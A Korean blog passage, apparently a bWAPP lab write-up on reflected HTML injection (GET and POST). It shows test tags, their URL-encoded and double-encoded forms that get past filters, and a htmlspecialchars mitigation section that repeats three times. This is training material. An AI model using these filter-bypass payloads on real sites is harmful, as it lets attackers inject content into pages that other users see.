iframe 공격에 성공하였다 




대응방안


난이도 상에서는 URL의 'ParamUrl' 변수에 iframe 태그를 입력하여 아무 반응이 없다.

이는 결과를 출력하기 전에 우회 단계를 거치기 때문에 웹 브라우저에서 입력 데이터를 태그로 해석하지 않아서다


1-2) 대응방안

난이도 상에서는 난이도 중에서 입력한 값들 역시 문자열로 추가한다

이렇게 출력되는 이유는 우회단계를 거치기 때문이다

html_get.php 코드를 확인하면

 

 

 

여기서 보면  case "2" 인 경우는 xss_check_3의 단계를 거쳐서 출력되는데

xss_check_3의 함수를 찾아보면

 

function xss_check_3($data, $encoding = "UTF-8"){
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

htmlspecialchars함수로 입력값을 우회한다.

htmlspecialchars함수는 php에서 제공하는 기본 함수로,HTML에서 사용하는 특수문자를 UTF-8로 변환한다

htmlspecialchars에서 반환하는 특수문자는 &,",',<,> 이다

따라서 htmlspecialchars 함수를 사용하여 태그에 사용되는 문자들을 인식하지 않게 인코딩하면 대응방안으로 사용할수있다




'OWASP top 10 ' 카테고리의 다른 글

[A1] SSI 코드 인젝션  (0) 2017.12.02
[A1] PHP 코드 인젝션  (0) 2017.12.02
[A1] OS 커맨드 인젝션(다시 공부하기)  (0) 2017.12.02
[A1] HTML 인젝션  (0) 2017.12.02
[OWASP] 비박스 환경 구성하기  (0) 2017.12.01

인젝션(injection)

 

인젝션은 공격자가 악의적으로 주입한 데이터를 웹 애플리케이션에서 데이터베이스의 정상적인 쿼리 일부로 인식하고 실행할 때에 발생하는 취약점으로 데이터를 입력받거나 데이터 정보를 요청하는 곳에는 인젝션 공격이 가능하다

 

공격 방법이나 사용 언어에 따라 인젝션의 종류가 달라지는데 대표적인 유형으로는 SQL인젝션 ,HTML 인젝션,OS command인젝션, LDAP 인젝션 등이 있다.

SQL인젝션은 데이터 베이스 언어를 사용학 때문에 데이터베이스 내의 정보를 유출 또는 수정할수있다

 

 

HTML 인젝션

 

공격자는 사용자가 연결을 용청한 페이지에 HTML 태그를 삽입하여 의도하지 않은 내용을 보게하거나 악의적인 사이트에 연결한다

 

반사기법

URL에 악의적인 HTML태그를 삽입하여 링크를 클릭한 사용자의 PC에서 HTML 태그가 실행되게 하는 공격이다.

특히 GET방식으로 데이터를 전송할 경우 URL에 변수명과 입력값을 노출한다

 

저장기법

HTML태그를 데이터 베이스에 저장하여 저장된 태그 내용을 확인한 사용자의 PC에 HTML 태그가 실행되게 하는 공격이다.

 

 

1-1)반사(GET)-난이도 하

사용자가 입력한 값을 그대로 출력하는 페이지 이다

이때 입력 값을 검증하지 않으면 웹 브라우저는 공격자가 입력한 HTML 태그를 해석하고 관리자가 의도하지 않은 내용을 출력한다

 

입력값

<h1>Success</h1>

<img src=http://192.168.43.22/bWAPP/images/bee_1.png>

 

 

 

출력 화면

 

 

GET 메서드로 요청하기 때문에 웹 브라우저의 URL 입력 부분에 변수가 노출된다.

 

 

 

 

 

 

1-2)반사(GET)-난이도 중

입력페이지에 아까와 똑같은 값을 입력해 주었는데

 

나오는 출력화면은 아까와 같은 이미지 화면이 아니라 문자열이 그래도 출력된다

이는 태그를 필터링 하기 때문이다

 

 

따라서 태그에서 사용되는 <와> 문자를 URL 인코딩하여 입력한다

URL 인코딩은 이스키코드의 HEX값에 %를 붙인 값으로, 두 문자를 URL 인코딩하여 <은 %3C로 >은 %3E로 변환한다

구글에 URL 인코딩 검색하면 많은 사이트가 나오니 변환해준다

 

 

 

 

 

변환된 값으로 바꿔서 입력해주면

%3Ch1%3ESuccess%3Ch1%3E

%3Cimg src=http://192.168.43.22/bWAPP/images/bee_1.png%3E

 

 

 

정상적으로 출력되는걸 확인할수있다

 

 

 

1-3) 대응방안

난이도 상에서는 난이도 중에서 입력한 값들 역시 문자열로 추가한다

이렇게 출력되는 이유는 우회단계를 거치기 때문이다

html_get.php 코드를 확인하면

 

 

 

여기서 보면  case "2" 인 경우는 xss_check_3의 단계를 거쳐서 출력되는데

xss_check_3의 함수를 찾아보면

 

function xss_check_3($data, $encoding = "UTF-8"){
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

htmlspecialchars함수로 입력값을 우회한다.

htmlspecialchars함수는 php에서 제공하는 기본 함수로,HTML에서 사용하는 특수문자를 UTF-8로 변환한다

htmlspecialchars에서 반환하는 특수문자는 &,",',<,> 이다

따라서 htmlspecialchars 함수를 사용하여 태그에 사용되는 문자들을 인식하지 않게 인코딩하면 대응방안으로 사용할수있다

 

 

 

 

2-1) 반사 (POST)-난이도 하


POST 방식을 사용하여 데이터를 전송한다. 따라서 서버로 전송하는 변수 값이 URL에 노출되지 않는다

버프스위트를 이용하여 변수값을 전달할 것인데


프록시를 통해서 http 요청 정보를 확인하고 

변수를 악의적인 내용으로 수정해주면 


이렇게 공격에 성공한 모습을 볼수있다. 



2-2) 반사 (POST)-난이도 중

난이도 하 와 같은 방식으로 프록시로 조작을 해보면 

<h1>Success</h1>

<img src=http://192.168.43.22/bWAPP/images/bee_1.png>

값이 변경되지 않는다 GET 방식에서 사용한거 처럼 우회를 통해 접근해보면 

%3Ch1%3ESuccess%3Ch1%3E

%3Cimg src=http://192.168.43.22/bWAPP/images/bee_1.png%3E

 

 

인코딩한 태그를 전송하여도 태그를 실행하지 않고 문자열을 그대로 출력한다



그래서 어떤 방식으로 인코딩이 되는지 확인해 보기위해 값을 넣고  요청값을 가로채 보았는데


더블 인코딩이 된 값을 확인할수 있었다.

더블 인코딩이란 인코딩에 사용되는 %문자도 인코딩하는 것으로 %문자의 인코딩 값 %25를 사용한다 

따라서 < 를 인코딩할때 더블인코딩을 사용하면

%3C-> %253C가 된다 

더블 인코딩해서 값을 넣어주면


%253Ch1%253ESuccess%253Ch1%253E

%253Cimg src=http://192.168.43.22/bWAPP/images/bee_1.png%253E

 


성공화면을 볼수있다. 



2-3).대응방안 


난이도 상에서는 난이도 중에서 입력한 값들 역시 문자열로 추가한다

이렇게 출력되는 이유는 우회단계를 거치기 때문이다

html_get.php 코드를 확인하면

 

 

 

여기서 보면  case "2" 인 경우는 xss_check_3의 단계를 거쳐서 출력되는데

xss_check_3의 함수를 찾아보면

 

function xss_check_3($data, $encoding = "UTF-8"){
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

htmlspecialchars함수로 입력값을 우회한다.

htmlspecialchars함수는 php에서 제공하는 기본 함수로,HTML에서 사용하는 특수문자를 UTF-8로 변환한다

htmlspecialchars에서 반환하는 특수문자는 &,",',<,> 이다

따라서 htmlspecialchars 함수를 사용하여 태그에 사용되는 문자들을 인식하지 않게 인코딩하면 대응방안으로 사용할수있다

 

 

 

 

'OWASP top 10 ' 카테고리의 다른 글

[A1] SSI 코드 인젝션  (0) 2017.12.02
[A1] PHP 코드 인젝션  (0) 2017.12.02
[A1] OS 커맨드 인젝션(다시 공부하기)  (0) 2017.12.02
[A1] iframe 인젝션  (0) 2017.12.02
[OWASP] 비박스 환경 구성하기  (0) 2017.12.01

+ Recent posts